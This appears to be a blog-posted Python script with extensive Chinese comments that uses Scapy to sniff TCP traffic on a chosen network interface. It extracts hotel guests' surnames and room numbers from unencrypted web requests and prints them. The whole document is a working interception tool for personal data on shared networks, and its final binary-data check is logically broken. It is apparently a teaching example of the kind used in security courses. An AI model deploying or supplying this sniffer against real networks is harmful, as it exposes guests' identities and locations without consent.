# 从Scapy库中导入需要的配置对象、网络层相关类、原始负载相关类以及嗅探函数 # conf用于配置Scapy的相关全局设置,比如指定网络接口等 # TCP、IP分别对应网络协议中的传输控制协议和网际协议相关的类,用于处理和操作相应协议层的数据包 # Raw用于获取数据包中的原始负载数据,通常一些应用层的具体内容就在原始负载里 # sniff是用于在指定网络接口上嗅探捕获网络数据包的函数 from scapy.all import conf, TCP, IP, Raw, sniff import optparse import re # 定义findGuest函数,该函数用于从捕获的数据包中提取酒店客人相关信息并进行相应处理 # 参数pkt表示捕获到的单个网络数据包,后续会对这个数据包进行分析和信息提取操作 def findGuest(pkt): # 打印调试信息,显示捕获到的数据包的源IP地址和目的IP地址,方便查看数据包的来源和去向 print(f"[DEBUG] 捕获到一个数据包,源IP: {pkt[IP].src}, 目的IP: {pkt[IP].dst}") # 检查数据包是否同时包含TCP层和Raw层,因为假设要提取的酒店客人相关信息是放在数据包的Raw负载部分(通常应用层数据在这里) # 如果数据包不包含这两层,那就没必要进行后续提取信息的操作了 if TCP in pkt and Raw in pkt: # 定义一个列表,包含了几种常见的字符编码格式,后续会依次尝试用这些编码去解码数据包的原始负载数据 # 目的是尝试将原始负载数据转换为可识别的文本格式,以便通过正则表达式提取信息 encodings = ['utf-8', 'gbk', 'iso-8859-1', 'latin-1'] # 遍历编码列表,逐个尝试进行解码操作 for encoding in encodings: try: # 使用当前循环的编码格式对数据包的原始负载数据进行解码,将其转换为字符串形式(如果编码正确的话) # 如果解码成功,就可以得到能处理的文本数据 raw_data = pkt[Raw].load.decode(encoding) # 打印调试信息,显示使用当前编码格式解码后的数据包原始负载数据内容,方便查看解码是否符合预期 print(f"[DEBUG] 使用 {encoding} 编码解码后的数据包原始负载数据: {raw_data}") # 使用不区分大小写的正则表达式,尝试从解码后的原始负载数据中提取客人的姓氏信息 # 正则表达式 '(?i)LAST_NAME=(.*)&' 表示匹配以LAST_NAME=开头,紧接着任意字符(.*)直到遇到&符号为止的内容,提取出的内容就是姓氏信息 name = re.findall('(?i)LAST_NAME=(.*)&', raw_data) # 同样使用正则表达式从解码后的原始负载数据中提取房间号信息 # 正则表达式 '(?i)ROOM_NUMBER=(.*)\'' 表示匹配以ROOM_NUMBER=开头,紧接着任意字符(.*)直到遇到单引号为止的内容,提取出的内容就是房间号信息 room = re.findall('(?i)ROOM_NUMBER=(.*)\'', raw_data) # 如果成功提取到了客人的姓氏信息(即name列表不为空),说明可能找到了符合格式的数据,进行后续处理 if name: try: # 去除提取到的姓氏前后可能存在的空白字符,得到更规范的客人姓氏内容 guest_name = name[0].strip() # 如果成功提取到了房间号信息(room列表不为空),就去除房间号前后的空白字符;如果没提取到,就设置一个提示性的默认值表示未提取到房间号 guest_room = room[0].strip() if room else "未提取到房间号" # 打印找到酒店客人信息的提示信息,显示客人的姓氏和房间号 print(f'[+] Found Hotel Guest {guest_name}, Room #{guest_room}') except IndexError: # 如果在处理提取到的信息时出现索引异常(比如正则表达式匹配到了空的分组等情况),打印提示信息,提醒检查数据包格式是否符合预期 print('[!] 数据提取出现异常,请检查数据包格式') # 如果当前编码格式解码后能成功提取到需要的信息,就不用再尝试其他编码格式了,直接跳出循环 break except UnicodeDecodeError: # 如果使用当前编码格式解码出现Unicode解码错误,说明该编码不适用,继续尝试下一个编码格式 continue # 如果遍历完所有尝试的编码格式后,都没有成功提取到客人的姓氏信息(即前面的循环没有因为成功提取信息而跳出) # 则判断数据包原始负载可能是二进制数据,此时打印其十六进制表示形式,方便后续进一步分析数据的特征(虽然可能无法直接解析出有用信息,但有助于了解数据大概情况) if not any([name for encoding in encodings if encoding in locals() and 'raw_data' in locals() and name in locals() and name]): print(f"[DEBUG] 数据包原始负载可能是二进制数据,十六进制表示: {pkt[Raw].load.hex()}") # 函数结束,返回None(Python中函数默认返回None,如果没有明确返回其他值的话) return # 定义main函数,作为程序的主要逻辑入口,程序的主要流程控制都在这里进行 def main(): # 创建一个OptionParser对象,用于解析命令行参数,它可以帮助我们定义程序运行时需要接收的参数格式以及相应的帮助信息等 parser = optparse.OptionParser('usage %prog' + '-i<interface>') # 添加 -i选项,用于指定要监听的网络接口,其参数类型为字符串,通过该选项用户可以在命令行运行程序时传入想要监听的网络接口名称 parser.add_option('-i', dest='interface', type='string', help='specify interface to listen on') # 解析命令行传入的参数,返回解析后的参数选项(options)以及其他剩余的参数(args) # options中会包含通过命令行传入的按照定义格式解析好的参数值,args则包含未被解析的其他参数(在这个程序里暂时不使用) (options, args) = parser.parse_args() # 判断是否通过命令行指定了网络接口,如果没有指定(即options.interface为None) # 则打印程序的使用帮助信息(也就是之前创建OptionParser对象时定义的usage信息),然后退出程序,因为没有指定接口无法进行后续操作 if options.interface is None: print(parser.usage) exit(0) # 如果成功指定了网络接口,将Scapy的网络接口配置(conf.iface)设置为通过命令行传入的接口名称,这样后续嗅探操作就会在这个指定接口上进行 conf.iface = options.interface try: # 打印提示信息,表示即将开始酒店客人信息嗅探操作,让用户知道程序已经进入监听状态 print('[*] Starting Hotel Guest Sniffer.') # 调用sniff函数开始在指定的网络接口上嗅探捕获TCP协议的数据包 # filter='tcp'表示只捕获TCP协议的数据包,prn=findGuest表示对于每一个捕获到的数据包,都调用findGuest函数进行处理,store=0表示不存储捕获到的数据包(节省内存等资源,因为这里重点是实时处理数据包提取信息) sniff(filter='tcp', prn=findGuest, store=0) except KeyboardInterrupt: # 如果用户手动按下Ctrl + C键(触发KeyboardInterrupt异常),表示用户想要中断嗅探操作 # 此时打印提示信息,告知用户程序即将退出,然后正常退出程序 print('[!] 用户手动中断了嗅探操作,程序即将退出') exit(0) except Exception as e: # 如果在嗅探过程中出现其他未知的异常情况,打印提示信息,显示出现的未知错误内容(将异常对象转换为字符串形式),方便排查问题,然后以非零的退出码退出程序,表示程序出现异常结束 print(f'[!] 出现未知错误: {str(e)}') exit(1) # 判断是否作为主程序运行,如果是则执行main函数,这样可以让这个Python脚本既可以作为独立程序运行,也可以被其他模块导入使用(如果有需要的话) if __name__ == '__main__': main()
栈寓网信捕手
最新推荐文章于 2025-05-27 18:19:13 发布